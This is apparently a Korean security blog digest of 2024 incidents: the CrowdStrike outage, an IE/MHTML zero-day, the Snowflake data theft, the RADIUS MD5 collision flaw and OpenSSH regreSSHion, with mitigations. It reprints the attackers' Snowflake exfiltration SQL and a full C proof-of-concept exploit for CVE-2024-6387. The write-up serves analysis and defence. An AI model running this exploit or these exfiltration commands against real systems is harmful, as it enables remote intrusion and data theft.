- CrowdStrike Falcon Sensor 업데이트 문제로 전 세계 PC에 BSOD 문제 발생 - 현재는 복구된 상태이며 업데이트 적용 전 충분한 테스트 필요
내용
- 24.07.19 전 세계 PC에서 BSOD(Blue Screen Of Death) 발생 > 해당 문제는 CrowdStrike Falcon Sensor 업데이트 이후 발생 > CrowdStrike Falcon Sensor 업데이트 이후 커널 드라이버 파일 csagent.sys로 인해 블루 스크린이 표시 > 전 세계 TV 방송국, 은행, 항공사 등이 업무가 마비되어 피해 확산 > 잘못된 업데이트로 인해 영향 받는 PC와 서버가 복구 부팅 루프에 빠져 제대로 시작되지 않음 ※ Mac과 Linux 호스트는 영향을 받지 않음
- CrowdStrike Falcon Sensor > 크라우드스트라이크의 공격 방어와 시스템 활동 모니터링을 위한 중요한 구성 요소
- CrowdStrike는 업데이트 롤백 조치 > 그러나 이미 영향을 받은 기기에는 롤백이 도움되지 않음 > 이에, CrowdStrike 엔지니어들은 임시 해결책 제시 ① 윈도우를 안전 모드로 부팅하거나 외장 드라이브에 탑재한 윈도우로 부팅 ② C:\Windows\System32\drivers\CrowdStrike로 이동 ③ C-00000291*.sys 파일 찾아서 삭제 ④ 정상적으로 재부팅 ※ 또는 04:09 UTC 이전의 스냅샷으로 롤백 ※ 해당 임시 방안 적용 전 영향도를 충분히 파악할 필요
- 충분한 테스트 없이 업데이트를 배포한 것이 문제의 원인 > CrowdStrike는 24.07.22 복구 도구 개발 및 배포 > WinPE 모드로 복구하는 것(관리자 권한 불필요)과 안전 모드로 복구(관리자 권한 필수)하는 두 가지 복구 옵션 제공 > MS 다운로드 센터에서 받을 수 있으며, 시스템 성능ㆍ사양ㆍ환경에 따라 두 옵션 중 하나 선택 권장 > 어떤 복구 모드를 선택하든 충분히 실험을 해 본 후 정식 도입 추천
- 24.07.24 CrowdStrike 첫 번째 조사 보고서 발표 > 24.07.19 CrowdStrike는 Falcon 플랫폼 정기 업데이트를 진행 > Rapid Response Content(신속대응콘텐트) 설정 최신화 과정에서 윈도와의 충돌이 발생 > Rapid Response Content 업데이트에 문제가 있었고, 이를 배포하기 전 파악하지 못했기 때문 ※ Falcon: Window 환경을 동적으로 보호하는 장치로, 꾸준한 업데이트를 필요로 함
⒜ Rapid Response Content(신속대응콘텐트) > 각종 행동 패턴 매칭 작업을 수행하는 데 필요한 핵심 요소 중 하나 > Falcon의 동적 보호를 가능하게 하는 원동력 > 스트레스 테스트를 다방면으로 진행하고 나서 업데이트를 배포하며 최종 배포 전 Content Validator(콘텐트밸리데이터) 도구를 활용해 업데이트의 유효성 확인
⒝ Content Validator 버그 > 24.07.19 Content Validator 버그로 인해 통과되지 않았어야 할 템플릿 인스턴스 한 개가 정상으로 분류 > 이후 Falcon 업데이트가 배포되었고, Out-Of-Bounds Memory read 문제가 발생하여 윈도와 충돌
⒞ 재발 방지 대책 > Rapid Response Content 시험 과정 강화: 시험 절차 삽입, 콘텐츠 업데이트와 롤백 양방향 시험, 스트레스 테스트, 퍼징 테스트 등 > Content Validator 오류 해결
기타
- 해당 사건은 24년 가장 중요한 IT 사건 중 하나로 기록될 것 > 강력한 비상 계획과 인프라의 다변화 필요성이 대두 > IT 인프라의 다변화와 업데이트 전 충분한 테스트의 중요성을 인식 > 단일 보안 SW에 의존하는 것이 얼마나 큰 위험을 초래할 수 있는지 보여주는 사례
- 해당 사고를 악용한 사이버 공격 시도가 발견되어 주의 필요 > 복구 및 지원을 가장한 악성파일 유포, 개인정보 입력 유도
- 22.06 지원이 종료된 Internet Explorer(IE)를 활용한 공격이 확인 - IE와 같이 더 이상 지원되지 않는 시스템이 공격에 악용될 수 있다는 사례를 반증 - 해당 취약점은 제로데이로 악용되다 24.07 패치가 적용
2. 주요 내용
- 공격 단체 Void Banshee는 IE를 활용해 정보 탈취형 멀웨어 Atlantida를 배포 [1] > IE는 22.06.15 공식적으로 지원 종료 및 비활성화 처리 > 사용자가 IE를 실행하면 Edge 브라우저가 실행 됨 > 호환성(아직 IE로 콘텐츠를 로딩해야만 하는 특수한 경우 등)을 위해 Edge 브라우저에 IE 모드를 탑재 > IE의 일부 구성요소가 있어야 IE 모드가 정상적으로 작동하기 때문에 아직 남아있는 것
※ Edge 브라우저 > 설정 (우측 상단 ...) > 기본 브라우저 > IE 호환성에서 IE 모드 설정 가능
2.1 CVE-2024-38112 [2]
- Windows MHTML 플랫폼 스푸핑 취약점 > MHTML (MIME HTML): HTML 코드와 해당 코드를 구현하는 데 필요한 외부 자원들을 포함한 파일 [3][4] > 공격자는 MHTML과 x-usc를 사용해 해당 취약점을 악용 > x-usc: 웹 페이지 내에서 다른 웹 페이지를 포함하거나 리소스를 로드하는 데 사용
2.2 공격 과정
① 파일 유포
- 공격자는 PDF 파일을 압축(ZIP)하여 유포 > 온라인 라이브러리, 클라우드 공유 사이트, 디스코드, 미리 침해한 웹 사이트 등을 통해 유포 > 고도의 전문분야에 종사하는 사람들을 대상으로 공격을 진행하는 것으로 판단됨
② 악성 파일 실행
- 사용자가 압축 해제 후 PDF로 위장한 악성 파일을 실행 > 악성 파일은 PDF 아이콘으로 위장한 URL 파일 > 해당 파일은 MHTML과 x-usc를 사용해 IE 실행 및 악성 웹 사이트로 리다이렉션
③ HTA 파일 다운
- IE를 통해 해당 URL에 접속하여 HTA 파일을 다운 > IE는 Edge, Chrome과 달리 HTA 파일이 실행됨 > 26개의 공백을 포함하여 HTA 파일을 다운 Ex) 파일명.pdf<공백 26칸>.hta
④ PowerShell 명령 실행
- HTA 파일은 XOR로 암호호화된 콘텐츠를 복호화 하는 기능을 가진 VBScript가 포함 > 복호화된 스크립트는 또 다른 악성 스크립트 실행 반복
⑤ Atlantida 멀웨어 다운
- 최종적으로 정보 탈취 멀웨어 Atlantida를 다운 및 실행 > 수집된 모든 데이터를 ZIP 파일로 압축하고 TCP 포트 6655를 통해 공격자의 C&C 서버로 유출
※ 관련 IoC [5] 참고
2.3 결론
- 사용자가 더 이상 액세스할 수 없는 서비스를 공격자는 여전히 악용 가능 > 해당 서비스를 악용해 랜섬웨어, 백도어, 백도어 등을 유포 > IE 처럼 공격 표면이 크고, 더 이상 지원되지 않는 비활성화된 서비스의 경우 더 큰 파급력을 지님 > 또한, 오래된 컴퓨터ㆍSWㆍFirmware, 퇴사자 계정 등 관리 강조
- UNC5537 해킹 그룹이 Snowflake 고객 데이터베이스에 접근 및 데이터 탈취 - Infostealer 멀웨어를 통해 획득한 자격 증명을 사용 - 침해된 데이터들은 다크웹에서 판매
2. 주요 내용 [1]
① 계정 탈취
- 공격자들은 Infostealer 악성코드를 활용해 계정 탈취 > 피싱, 불법 복제 소프트웨어 등으로 악성코드 유포 > 조사에 따르면 악용된 계정 중 79.7%가 이전에 노출된 적이 있음 > 탈취된 계정 증명은 23년 기준 공격자들의 주요 최초 침투 전략 중 4위에 랭크(전체 침투 사건의 10%) > VIDAR, RISEPRO, REDLINE, RACOON STEALER, LUMMA 및 METASTEALER Infostealer 활용
※ 클라우드 설정 오류로 인한 크리덴셜 유출 > 최근 클라우드가 크게 유행하면서 발생 > 사용자가 민감한 데이터가 저장된 클라우드 DB를 설정 오류로 전체 공개로 설정 > 해당 DB의 URL만 알게된다면 DB에 접근 및 정보 열람이 가능 > 많은 사용자들의 여러 설정 오류와 같은 실수로 공격자에게 정보를 탈취 당함
② 정찰
- Snowflake 고객 인스턴스의 초기 접근은 웹 기반 UI(SnowFlake UI , SnowSight) 또는 윈도우 서버 2022에서 실행되는 CLI 도구(SnowSQL)를 이용 > 공격자들은 .NET 및 Java 버전의 FROSTBITE를 정찰 도구로 활용 > .NET 버전은 Snowflake .NET 드라이버와, JAVA 버전은 Snowflake JDBC 드라이버와 연동해 작동 > FROSTBITE는 사용자, 현재 역할, IP, 세션 ID 및 조직 이름 등의 정보를 수집 > 오픈 소스 DB 관리 유틸리티인 DBeaver Ultimate를 사용해 Snowflake 인스턴스 연결 및 쿼리 실행
③ 정보 탈취
명령
설명
SHOW TABLES
- 정찰 및 모든 DB와 연관된 Table 나열
SELECT * FROM
- 관심 있는 개별 Table 다운로드 Ex. SELECT * FROM <Target Database>.<Target Schema>.<Target Table>
LIST/LS
- 임시 스테이지를 만들기 전 LIST 명령을 사용해 다른 스테이지 열거 시도 (기존 스테이지 파악 용도) - 생성된 임시 스테이지는 생성자의 세션이 종료되면 삭제 ※ 스테이지: 데이터 파일을 DB 테이블에 로드/언로드하기 위한 이름이 지정된 테이블 Ex. ls <internal or external stage name>
CREATE (TEMP|TEMPORARY) STAGE
- CREATE STAGE 명령으로 데이터 저장을 위한 임시 스테이지 생성 Ex. CREATE TEMPORARY STAGE <Redacted Database>.<Redacted Schema>. <Redacted Attacker Stage Name>;
COPY INTO
- 확보한 데이터를 이전에 생성한 임시 스테이지로 복사 - 해당 명령은 내ㆍ외부 스테이지, 내부 Snowflake 테이블로 정보를 복사하는데 사용 - 공격자는 유출 전 데이터의 전체 크기를 줄이기 위해 COMPRESSION 매개변수를 사용해 결과를 GZIP 파일로 압축 Ex. COPY INTO @<Attacker Stage and Path> FROM (select * FROM <Target Database>.<Target Schema>.<Target Table> ) FILE_FORMAT = ( TYPE='CSV' COMPRESSION=GZIP FIELD_DELIMITER=',' ESCAPE=NONE ESCAPE_UNENCLOSED_FIELD=NONE date_format='AUTO' time_format='AUTO' timestamp_format='AUTO' binary_format='UTF-8' field_optionally_enclosed_by='"' null_if='' EMPTY_FIELD_AS_NULL = FALSE ) overwrite=TRUE single=FALSE max_file_size=5368709120 header=TRUE;
GET
- 임시 스테이지에서 데이터를 로컬로 지정된 디렉토리로 유출 Ex. GET @<target stage and filepath> file:///<Attacker Local Machine Path>;
- 공격자는 Mullvad, PIA VPN을 활용해 침해한 Snowflake 인스턴스에 접근 > 탈취한 데이터는 ALEXHOST SRL(몰도바 호스팅 업체)의 VPS(Virtual Private Serve) 시스템에 저장
2.1 특징
- 공격자들은 3가지 특징을 보임 ① 다중인증 기능이 활성화 되지 않은 채 Snowflake 계정 사용 ② 계정 비밀번호를 오랜 기간 변경 없이 사용 ③ 신뢰할 만한 지역에서만 로그인이 가능하도록 하는 옵션 비활성화
- 해당 사건은 클라우드 플랫폼 보안에 대한 책임을 사용자와 플랫폼 업체가 공유한다는 개념이 부실하여 생긴 사건 > 플랫폼 업체는 취약점 관리와 클라우드 내 테넌트들끼리 침범하지 못하도록 하는 등 관리 책임 > 사용자는 계정이나 DB를 안전하게 설정하는 등 안전하게 사용할 책임
2.2 대응방안
- 주기적인 비밀번호 변경 - 여러 서비스간 동일 비밀번호 사용 금지 - 다중인증 기능 활성화 - 접근 제한 기능 활용 등
- RADIUS 프로토콜에서 설계 결함으로 인한 취약점 발견 [1] - RADIUS 프로토콜이 개발되고 30년만에 처음으로 발견 - 익스플로잇에 성공할 경우 RADIUS를 기반으로 한 시스템과 네트워크에 자유롭게 출입할 수 있음 > 프로토콜 자체의 취약점이므로 모든 시스템이 영향을 받음
1.1 RADIUS (Remote Authentication Dial In User Service) [2]
- 클라이언트/서버 모델로, AAA 기능 구현을 위한 인증 프로토콜 (인증_Authentication, 권한부여_Authorization, 계정관리_Accounting) - ISP에서 사용하는 H/W 또는 S/W 등에 의한 원격 접속에 대한 인증용 서버를 지칭 - 사용자, RADIUS 클라이언트(인증 에이전트: VPN, WLAN, AP, NAS 등), RADIUS 서버(인증 서버)로 구성 - 원격 인증 및 접근 관리, 인증 및 권한 부여, 계정 감사 등의 기능을 제공
2. 주요내용
2.1 CVE-2024-3596 [3]
- RADIUS 프로토콜의 설계상 취약점으로 인해 발생하는 취약점
> 익스플로잇에 성공할 경우 로컬 네트워크에 아무 ID를 이용하여 인증 및 접근이 가능 > RADIUS 트래픽은 UDP를 통해 전송되며, MD5 기반의 암호화를 사용하므로 취약 > 개념 증명용 PoC가 개발되었으나 파급력이 너무 클 것으로 예상되어 공개하지 않음 > 공격자는 해시 충돌과 중간자 공격(RADIUS Client와 Server 사이)을 통해 익스플로잇
※ 해시 충돌: 서로 다른 입력 값이 동일한 출력 값을 가지는 상황
2.2 MD5 (Message-Digest algorithm 5) [4]
- 임의의 길이의 값을 입력받아 128Bit 길이의 해시값을 출력하는 알고리즘 - 1991년 설계되었고, 1996년 설계상 결함과 2004년, 2006년 해시 충돌 발견으로 사용이 권장되지 않음 [5]
2.3 공격 과정
- RADIUS Client는 Access-Request 메시지를 전송하고, RADIS Server는 Access-Reject 또는 Access-Accept 메시지로 응답 > Access-Reject 또는 Access-Accept 메시지는 Access-Request, 해시값, 클라이언트-서버간 공유 비밀을 활용해 Response Authenticator(MAC) 생성 > 공격자는 Response Authenticator 생성에 활용되는 해시값을 위조 ① ID and Request Authenticator: 공격자가 Access-Request에서 확인한 값 ② Code, Length, and Packet Attributes: 서버 응답 값(공격자가 예측) ③ Shared Secret: 클라이언트와 서버가 사전 공유한 비밀 값
- 전체적인 공격 과정은 다음과 같음
① 공격자는 잘못된 계정 정보를 이용해 로그인 요청 ② RADIUS Client는 Access-Request 메시지 전송 ③ 공격자는 중간에서 메시지를 가로채 MD5 해시 충돌 계산 > 공격자는 예상되는 Access-Reject와 위조하고자 하는 Access-Accept의 MD5 충돌 계산 > MD5(Access-Reject||RejectGibberish) == MD5(Access-Accept||AcceptGibberish)를 만족하는 RejectGibberish, AcceptGibberish ④ 충돌 계산을 마친 공격자는 Proxy-State로 위장하여 Access-Request 전송 > Access-Request에 RejectGibberish를 추가하여 > 요청과 응답을 가로채 위조하기 위해 Proxy-State를 활용하는 것으로 판단됨 ⑤ RADIUS Server는 Access-Request를 확인 및 Access-Reject 메시지 응답 > 잘못된 계정 정보를 시용하였기 때문에 요청 거절 > Access-Reject == MD5(Access-Reject||RejectGibberish||SharedSecret) ⑥ 공격자는 응답을 가로채 예상한 패턴(MD5 충돌)과 일치하는지 확인 > 예상한 패턴과 일치하는 경우 Access-Accept||AcceptGibberish로 변경하여 Client에 전송 ⑦ MD5 충돌로 RADIUS Client는 엑세스 권한 부여
2.3. 대응방안
① 단기완화: 클라이언트와 서버가 모든 요청과 응답에 대해 항상 Message-Authenticator 속성을 보내고 요구 ② 장기완화: RADIUS over TLS(RADSEC)로 업그레이드
- OpenSSH 생태계에서 새로운 취약점(RCE)이 발견 [1] > glibc 기반 Linux 시스템에서 OpenSSH 서버(sshd)에서 발생 > OpenSSH: SSH를 이용하여 암호화된 통신 세션을 제공하는 컴퓨터 프로그램의 모임 [2] - 해당 취약점은 2006년 이미 발견되어 수정된 취약점이 최근 패치로 인해 다시 발생된 것
2. 주요내용
- 해당 취약점은 과거 수정된 취약점이 최근 패치로 인해 다시 발생 > 기존에 잘 동작하던 S/W가 패치 이후 버그나 문제가 생기는 것을 Regression(회귀)이라 함 > 해당 취약점 또한 Regression으로 발생한 OpenSSH 취약점이란 의미로 regreSSHion 취약점이라 불림
2.1 CVE-2006-5051 [3]
- 취약한 버전의 OpenSSH에서 발생하는 서비스 거부 및 임의 코드 실행 취약점 (CVSS: 8.1)
① 신호 처리기 경쟁 조건이 발생할 경우 서비스 거부를 발생시킬 수 있음 > 신호 처리기는 시스템에서 발생하는 특정 이벤트(예: SIGTERM, SIGINT)에 대한 응답으로 실행되는 코드 > 공격자는 과도한 요청 통해 신호처리기에 과부하 및 서버 충돌을 유발하여 서비스 거부를 발생시키는 것으로 판단됨
② GSSAPI 인증이 활성화된 경우 임의 코드를 실행할 수 있음 > GSSAPI(Generic Security Service Application Program Interface) authentication: 시스템 간 보안 서비스에 대한 액세스를 제공하는 표준 인터페이스 [4] > 사용자 인증, 데이터 암호화, 메시지 무결성 등 다양한 보안 서비스를 위한 통합된 프레임워크를 제공
영향받는 버전: OpenSSH 4.4 이전 버전
2.2 CVE-2024-6387 [5]
- Open SSH 서버(sshd)에서 Regression으로 인해 발생하는 원격 코드 실행 취약점 (CVSS: 8.1) > 신호 처리기의 결함으로 경쟁 조건이 발생하며, 이를 악용해 인증 프로세스 중 서버에 임의의 코드를 삽입하고 실행할 수 있음 > 익스플로잇에 성공할 경우 서버를 완전히 제어할 수 있게 됨
영향받는 시스템: OpenSSH 8.5p1 ~ 9.7p1 이전 버전
- 취약점은 sshd가 클라이언트 인증을 처리하는 방식과 그에 따른 비동기 처리에서 비롯 [6] > 클라이언트가 sshd에 연결을 시도하면 서버는 지정된 기간인 'LoginGraceTime' 동안 대기
* 이 기간 동안 서버는 클라이언트가 성공적으로 인증할 수 있는지 확안
> 클라이언트가 지정된 시간 내 인증에 실패할 경우 비동기 신호 처리기 'SIGALRM'이 트리거되어 서버가 다른 작업을 수행할 수 있음
* SIGALRM: alarm 함수 등으로 설정한 타이머가 만료될 때 발생하는 시그널
> 취약한 버전의 경우, SIGALRM 신호 처리기는 'async-signal-unsafe' 함수를 호출 > 'async-signal-unsafe' 함수에서 경쟁 조건이 유발
2.3 PoC [7]
/** 7etsuo-regreSSHion.c
* -------------------------------------------------------------------------
* SSH-2.0-OpenSSH_9.2p1 Exploit
* -------------------------------------------------------------------------
*
* Exploit Title : SSH Exploit for CVE-2024-6387 (regreSSHion)
* Author : 7etsuo
* Date : 2024-07-01
*
* Description:
* Targets a signal handler race condition in OpenSSH's
* server (sshd) on glibc-based Linux systems. It exploits a vulnerability
* where the SIGALRM handler calls async-signal-unsafe functions, leading
* to rce as root.
*
* Notes:
* 1. Shellcode : Replace placeholder with actual payload.
* 2. GLIBC_BASES : Needs adjustment for specific target systems.
* 3. Timing parameters: Fine-tune based on target system responsiveness.
* 4. Heap layout : Requires tweaking for different OpenSSH versions.
* 5. File structure offsets: Verify for the specific glibc version.
* -------------------------------------------------------------------------
*/
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
int setup_connection (const char *ip, int port);
void send_packet (int sock, unsigned char packet_type,
const unsigned char *data, size_t len);
void prepare_heap (int sock);
void time_final_packet (int sock, double *parsing_time);
int attempt_race_condition (int sock, double parsing_time,
uint64_t glibc_base);
double measure_response_time (int sock, int error_type);
void create_public_key_packet (unsigned char *packet, size_t size,
uint64_t glibc_base);
void create_fake_file_structure (unsigned char *data, size_t size,
uint64_t glibc_base);
void send_ssh_version (int sock);
int receive_ssh_version (int sock);
void send_kex_init (int sock);
int receive_kex_init (int sock);
int perform_ssh_handshake (int sock);
int
main (int argc, char *argv[])
{
if (argc != 3)
{
fprintf (stderr, "Usage: %s <ip> <port>\n", argv[0]);
exit (1);
}
const char *ip = argv[1];
int port = atoi (argv[2]);
double parsing_time = 0;
int success = 0;
srand (time (NULL));
// Attempt exploitation for each possible glibc base address
for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
{
uint64_t glibc_base = GLIBC_BASES[base_idx];
printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
// The advisory mentions "~10,000 tries on average"
for (int attempt = 0; attempt < 20000 && !success; attempt++)
{
if (attempt % 1000 == 0)
{
printf ("Attempt %d of 20000\n", attempt);
}
int sock = setup_connection (ip, port);
if (sock < 0)
{
fprintf (stderr, "Failed to establish connection, attempt %d\n",
attempt);
continue;
}
if (perform_ssh_handshake (sock) < 0)
{
fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
close (sock);
continue;
}
prepare_heap (sock);
time_final_packet (sock, &parsing_time);
if (attempt_race_condition (sock, parsing_time, glibc_base))
{
printf ("Possible exploitation success on attempt %d with glibc "
"base 0x%lx!\n",
attempt, glibc_base);
success = 1;
break;
}
close (sock);
usleep (100000); // 100ms delay between attempts, as mentioned in the
// advisory
}
}
return !success;
}
int
setup_connection (const char *ip, int port)
{
int sock = socket (AF_INET, SOCK_STREAM, 0);
if (sock < 0)
{
perror ("socket");
return -1;
}
struct sockaddr_in server_addr;
memset (&server_addr, 0, sizeof (server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons (port);
if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
{
perror ("inet_pton");
close (sock);
return -1;
}
if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))
< 0)
{
perror ("connect");
close (sock);
return -1;
}
// Set socket to non-blocking mode
int flags = fcntl (sock, F_GETFL, 0);
fcntl (sock, F_SETFL, flags | O_NONBLOCK);
return sock;
}
void
send_packet (int sock, unsigned char packet_type, const unsigned char *data,
size_t len)
{
unsigned char packet[MAX_PACKET_SIZE];
size_t packet_len = len + 5;
packet[0] = (packet_len >> 24) & 0xFF;
packet[1] = (packet_len >> 16) & 0xFF;
packet[2] = (packet_len >> 8) & 0xFF;
packet[3] = packet_len & 0xFF;
packet[4] = packet_type;
memcpy (packet + 5, data, len);
if (send (sock, packet, packet_len, 0) < 0)
{
perror ("send_packet");
}
}
void
send_ssh_version (int sock)
{
const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";
if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)
{
perror ("send ssh version");
}
}
int
receive_ssh_version (int sock)
{
char buffer[256];
ssize_t received;
do
{
received = recv (sock, buffer, sizeof (buffer) - 1, 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
if (received > 0)
{
buffer[received] = '\0';
printf ("Received SSH version: %s", buffer);
return 0;
}
else if (received == 0)
{
fprintf (stderr, "Connection closed while receiving SSH version\n");
}
else
{
perror ("receive ssh version");
}
return -1;
}
void
send_kex_init (int sock)
{
unsigned char kexinit_payload[36] = { 0 };
send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));
}
int
receive_kex_init (int sock)
{
unsigned char buffer[1024];
ssize_t received;
do
{
received = recv (sock, buffer, sizeof (buffer), 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
if (received > 0)
{
printf ("Received KEX_INIT (%zd bytes)\n", received);
return 0;
}
else if (received == 0)
{
fprintf (stderr, "Connection closed while receiving KEX_INIT\n");
}
else
{
perror ("receive kex init");
}
return -1;
}
int
perform_ssh_handshake (int sock)
{
send_ssh_version (sock);
if (receive_ssh_version (sock) < 0)
return -1;
send_kex_init (sock);
if (receive_kex_init (sock) < 0)
return -1;
return 0;
}
void
prepare_heap (int sock)
{
// Packet a: Allocate and free tcache chunks
for (int i = 0; i < 10; i++)
{
unsigned char tcache_chunk[64];
memset (tcache_chunk, 'A', sizeof (tcache_chunk));
send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
// These will be freed by the server, populating tcache
}
// Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
for (int i = 0; i < 27; i++)
{
// Allocate large chunk (~8KB)
unsigned char large_hole[8192];
memset (large_hole, 'B', sizeof (large_hole));
send_packet (sock, 5, large_hole, sizeof (large_hole));
// Allocate small chunk (320B)
unsigned char small_hole[320];
memset (small_hole, 'C', sizeof (small_hole));
send_packet (sock, 5, small_hole, sizeof (small_hole));
}
// Packet c: Write fake headers, footers, vtable and _codecvt pointers
for (int i = 0; i < 27; i++)
{
unsigned char fake_data[4096];
create_fake_file_structure (fake_data, sizeof (fake_data),
GLIBC_BASES[0]);
send_packet (sock, 5, fake_data, sizeof (fake_data));
}
// Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
unsigned char large_string[MAX_PACKET_SIZE - 1];
memset (large_string, 'E', sizeof (large_string));
send_packet (sock, 5, large_string, sizeof (large_string));
}
void
create_fake_file_structure (unsigned char *data, size_t size,
uint64_t glibc_base)
{
memset (data, 0, size);
struct
{
void *_IO_read_ptr;
void *_IO_read_end;
void *_IO_read_base;
void *_IO_write_base;
void *_IO_write_ptr;
void *_IO_write_end;
void *_IO_buf_base;
void *_IO_buf_end;
void *_IO_save_base;
void *_IO_backup_base;
void *_IO_save_end;
void *_markers;
void *_chain;
int _fileno;
int _flags;
int _mode;
char _unused2[40];
void *_vtable_offset;
} *fake_file = (void *)data;
// Set _vtable_offset to 0x61 as described in the advisory
fake_file->_vtable_offset = (void *)0x61;
// Set up fake vtable and _codecvt pointers
*(uint64_t *)(data + size - 16)
= glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps)
*(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt
}
void
time_final_packet (int sock, double *parsing_time)
{
double time_before = measure_response_time (sock, 1);
double time_after = measure_response_time (sock, 2);
*parsing_time = time_after - time_before;
printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
}
double
measure_response_time (int sock, int error_type)
{
unsigned char error_packet[1024];
size_t packet_size;
if (error_type == 1)
{
// Error before sshkey_from_blob
packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3");
}
else
{
// Error after sshkey_from_blob
packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9");
}
struct timespec start, end;
clock_gettime (CLOCK_MONOTONIC, &start);
send_packet (sock, 50, error_packet,
packet_size); // SSH_MSG_USERAUTH_REQUEST
char response[1024];
ssize_t received;
do
{
received = recv (sock, response, sizeof (response), 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
clock_gettime (CLOCK_MONOTONIC, &end);
double elapsed
= (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
return elapsed;
}
void
create_public_key_packet (unsigned char *packet, size_t size,
uint64_t glibc_base)
{
memset (packet, 0, size);
size_t offset = 0;
for (int i = 0; i < 27; i++)
{
// malloc(~4KB) - This is for the large hole
*(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);
offset += CHUNK_ALIGN (4096);
// malloc(304) - This is for the small hole (potential FILE structure)
*(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);
offset += CHUNK_ALIGN (304);
}
// Add necessary headers for the SSH public key format
memcpy (packet, "ssh-rsa ", 8);
// Place shellcode in the heap via previous allocations
memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13, shellcode,
sizeof (shellcode));
// Set up the fake FILE structures within the packet
for (int i = 0; i < 27; i++)
{
create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)
+ CHUNK_ALIGN (304) * i,
CHUNK_ALIGN (304), glibc_base);
}
}
int
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{
unsigned char final_packet[MAX_PACKET_SIZE];
create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);
// Send all but the last byte
if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
{
perror ("send final packet");
return 0;
}
// Precise timing for last byte
struct timespec start, current;
clock_gettime (CLOCK_MONOTONIC, &start);
while (1)
{
clock_gettime (CLOCK_MONOTONIC, ¤t);
double elapsed = (current.tv_sec - start.tv_sec)
+ (current.tv_nsec - start.tv_nsec) / 1e9;
if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
{ // 1ms before SIGALRM
if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)
{
perror ("send last byte");
return 0;
}
break;
}
}
// Check for successful exploitation
char response[1024];
ssize_t received = recv (sock, response, sizeof (response), 0);
if (received > 0)
{
printf ("Received response after exploit attempt (%zd bytes)\n",
received);
// Analyze response to determine if we hit the "large" race window
if (memcmp (response, "SSH-2.0-", 8) != 0)
{
printf ("Possible hit on 'large' race window\n");
return 1;
}
}
else if (received == 0)
{
printf (
"Connection closed by server - possible successful exploitation\n");
return 1;
}
else if (errno == EWOULDBLOCK || errno == EAGAIN)
{
printf ("No immediate response from server - possible successful "
"exploitation\n");
return 1;
}
else
{
perror ("recv");
}
return 0;
}
int
perform_exploit (const char *ip, int port)
{
int success = 0;
double parsing_time = 0;
double timing_adjustment = 0;
for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
{
uint64_t glibc_base = GLIBC_BASES[base_idx];
printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
for (int attempt = 0; attempt < 10000 && !success; attempt++)
{
if (attempt % 1000 == 0)
{
printf ("Attempt %d of 10000\n", attempt);
}
int sock = setup_connection (ip, port);
if (sock < 0)
{
fprintf (stderr, "Failed to establish connection, attempt %d\n",
attempt);
continue;
}
if (perform_ssh_handshake (sock) < 0)
{
fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
close (sock);
continue;
}
prepare_heap (sock);
time_final_packet (sock, &parsing_time);
// Implement feedback-based timing strategy
parsing_time += timing_adjustment;
if (attempt_race_condition (sock, parsing_time, glibc_base))
{
printf ("Possible exploitation success on attempt %d with glibc "
"base 0x%lx!\n",
attempt, glibc_base);
success = 1;
// In a real exploit, we would now attempt to interact with the
// shell
}
else
{
// Adjust timing based on feedback
timing_adjustment += 0.00001; // Small incremental adjustment
}
close (sock);
usleep (100000); // 100ms delay between attempts, as mentioned in the
// advisory
}
}
return success;
}
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [8]
영향받는 버전
해결 버전
OpenSSH 4.4p1 이전 버전
9.8p1
OpenSSH 8.5p1 ~ 9.8p1 이전 버전
